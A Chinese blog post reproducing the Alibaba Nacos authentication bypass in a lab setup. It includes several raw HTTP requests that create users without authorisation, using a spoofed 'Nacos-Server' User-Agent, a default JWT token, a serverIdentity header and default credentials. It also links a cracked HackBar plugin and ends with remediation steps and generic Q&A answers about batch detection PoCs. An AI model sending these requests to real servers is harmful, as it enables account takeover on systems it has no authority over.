Alibaba Nacos权限认证绕过漏洞复现

Nacos(官方网站:http://nacos.io)是一个易于使用的平台,旨在用于动态服务发现,配置和服务管理。它可以帮助您轻松构建云本机应用程序和微服务平台

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

为什么会产生这个漏洞?

1.认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。

2.开发者原本意思是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。

3.攻击者利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

 影响版本 Nacos <= 2.0.0-ALPHA.1

在搭建环境前给大家演示一下

Hackbar插件破解版安装 及使用

以我们常用的火狐浏览器为例

这个是破解版的hackbar链接地址

https://github.com/fengwenhua/hackbar_crack

下载好 把xpi格式拖到火狐浏览器里面

 点击添加即可

接下简单跟大家讲一下各个选项的作用

Load URL:将地址栏中的地址载入hackbar中。

Split URL:剪切地址

Execute:执行HackBar中的网址

Encyption: 常见的四种加密方式。如md5 sha-1 sha-256 rot13

Encoding :常见的编码方式。如base64 url编码 hex编码。

Sql:提供了我们在sql注入时,常用的一些sql语句。

Xss: 提供一些XSS攻击语句。

 插件到此就安装完毕了 后面有需要提前安装上

接下来就是我们的Nacos权限认证绕过漏洞环境搭建了

本次使用nacos-server-2.0.0-ALPHA.1.zip

Nacos下载地址(github):

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1


使用kali进行环境搭建

 解压文件(这是zip包)

直接unzip解压即可


进入目录执行搭建命令

cd nacos/bin/
./startup.sh -m standalone
等待搭建成功:

 

接着访问http://ip:8848/nacos 默认账号是nacos 密码是nacos

搭建成功 

接下来就是漏洞复现了

访问:http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

 从上图可以发现,目前有一个用户nacos

使用我们刚才在火狐安装的插件hackbar

漏洞利用,访问  http://ip:8848/nacos/v1/auth/users

POST传参:  username=ceshi&password=123

修改UA头为Nacos-Server

发送post请求,返回响应200,创建用户成功

 接着我们访问第一个链接地址 看看现在存在几个用户

http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

  • http://192.168.192.130:8848:指明了要请求的目标IP地址和端口号;
  • /nacos/v1/auth/users:指明了要访问的Nacos API接口路径;
  • pageNo=1&pageSize=9:指定了分页查询条件。
  • pageNo:表示需要返回的页码,从 1 开始计数。例如,如果想要返回第 2 页的数据,则将 pageNo 设置为 2。
  • pageSize:表示每一页的数据条数。例如,如果想要每页返回 20 条数据,则将 pageSize 设置为 20。
  • ceshi用户已经存在了 我们试着去登陆一下

  •  这是一种复现方法

  • 还有一种是用burp复现

    这里简单复现一下吧 

    第一步访问http://ip:8848/nacos/v1/auth/users bp抓包发送至重发器

    修改数据包

    方式一:默认账号

    输入 nacos/nacos 成功登陆后台
     

    方式二:默认未授权

    发送如下数据包,成功创建用户

    POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.xx.xxx:8848Content-Type: application/x-www-form-urlencodedContent-Length: 31
    username=test02&password=test02

    方式三:默认JWT-secret

    1.在nacos/conf/application.properties中设置nacos.core.auth.enabled=true开启权限认证

    2. 发送如下数据包成功创建用户

    POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1Host: 192.168.xx.xxx:8848Content-Type: application/x-www-form-urlencodedContent-Length: 31
    username=test03&password=test03

    方式四:默认头部

    发送如下数据包,成功创建用户

    POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.xx.xxx:8848Content-Type: application/x-www-form-urlencodedserverIdentity: securityContent-Length: 31
    username=test05&password=test05

    方式五:低版本(nacos<1.4.1)默认白名单UA

    1.在nacos/conf/application.properties中设置
    nacos.core.auth.enable.userAgentAuthWhite=true开启白名单UA
     

    2. 发送如下数据包成功创建用户

    POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.xx.xxx:8848User-Agent: Nacos-ServerContent-Type: application/x-www-form-urlencodedContent-Length: 31
    username=test04&password=test04

    还有一种是这样的数据包 也可以成功创建用户

  • POST /nacos/v1/auth/users?username=111&password=111 HTTP/1.1
    Host: 192.168.xx.xxx:8848
    User-Agent: Nacos-Server
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 17

    pageNo=1&pageSize=9
     

  • 0x06 修复方式



     

    1.升级至最新版本
    2.删除默认配置中的下列选项,启动nacos时必须手动配置

    nacos.core.auth.server.identity.key

    nacos.core.auth.server.identity.value

    nacos.core.auth.plugin.nacos.token.secret.key

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Nacos是一种开源的配置中心和服务发现平台,可以帮助开发者更方便地管理微服务架构。然而,最近在Nacos中发现了一个名为身份认证绕过漏洞,这使得攻击者可以绕过身份验证,执行恶意操作。 为了帮助企业和个人快速检测到这个安全漏洞,并采取相应的补救措施,一些安全研究者开发了批量检测POC。这个POC利用公开的漏洞信息,测试Nacos的登录和注册功能,以确定Nacos是否存在身份认证绕过漏洞。 使用这个批量检测POC,用户可以将所有的IP地址列表保存到一个文本文件中,然后通过简单的命令行选项传递该文本文件的路径。这个POC将自动扫描并验证每个IP地址是否容易受到身份认证绕过漏洞的攻击。 总体来说,这个批量检测POC提供了一种简单、快速、有效的方式,帮助企业和个人识别并修复Nacos中的身份认证绕过漏洞,从而提高系统的安全性和可靠性。同时,这也反映了业界对于技术安全的持续关注和努力。 ### 回答2: nacos是一个云原生的动态服务发现和配置管理平台,但是在nacos中存在着身份认证绕过漏洞,攻击者可以通过此漏洞直接绕过身份验证,获取到nacos的管理权限。为了防止此漏洞被滥用,需要及时对其进行检测和修复Nacos身份认证绕过漏洞批量检测可以采用Poc技术进行,Poc即Proof of Concept,意为概念证明。通过编写Poc代码,可以在不影响正常运行的情况下,模拟攻击行为,发现漏洞并进行修复。 对于nacos身份认证绕过漏洞批量检测Poc,可以通过以下步骤实现: 1. 首先,确定目标,即需要检测的nacos服务地址。可以通过搜索引擎、网络扫描等方式获取目标。 2. 编写Poc代码,对目标进行检测。具体步骤如下: (1)通过无需认证的接口验证目标是否存在身份认证绕过漏洞。 (2)如果存在漏洞,则可以使用管理员权限执行恶意操作,如读取、修改、删除配置文件等。 3. 对漏洞进行修复。修补漏洞的方法是将nacos系统更新至最新版本,并且配置正确,以避免任何安全问题。 通过进行nacos身份认证绕过漏洞批量检测Poc,可以及时发现和修复nacos系统中的漏洞问题,从而提高系统的安全性和稳定性。同时,作为云原生的重要组件之一,nacos系统的安全问题也需要得到更高的重视和加强保护。 ### 回答3: Nacos是一种开源的分布式服务发现、配置和管理平台,最近出现了一个身份认证绕过漏洞。攻击者可以利用该漏洞绕过Nacos的身份验证,实现授权访问敏感信息或执行恶意操作。为了增强安全性,开发人员需要尽快修补漏洞。 为方便安全研究人员和开发人员识别漏洞,可以使用批量检测poc。poc是Proof of Concept的缩写,通常是指一段代码或脚本,用来验证漏洞是否存在的可复现方式。通过使用poc,可以确认漏洞的确存在,便于修复。 对于Nacos身份认证绕过漏洞,可以使用poc进行批量检测。首先需要构造一份包含有效用户名和密码的列表,然后使用poc对Nacos进行检测。如果检测到漏洞,则会产生警报或输出,方便管理员及时修复漏洞。 因此,在使用Nacos时,开发人员需要及时修复漏洞,并通过poc等方式进行漏洞检测,以便及时发现和修复其他潜在的安全漏洞,提高系统的安全性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值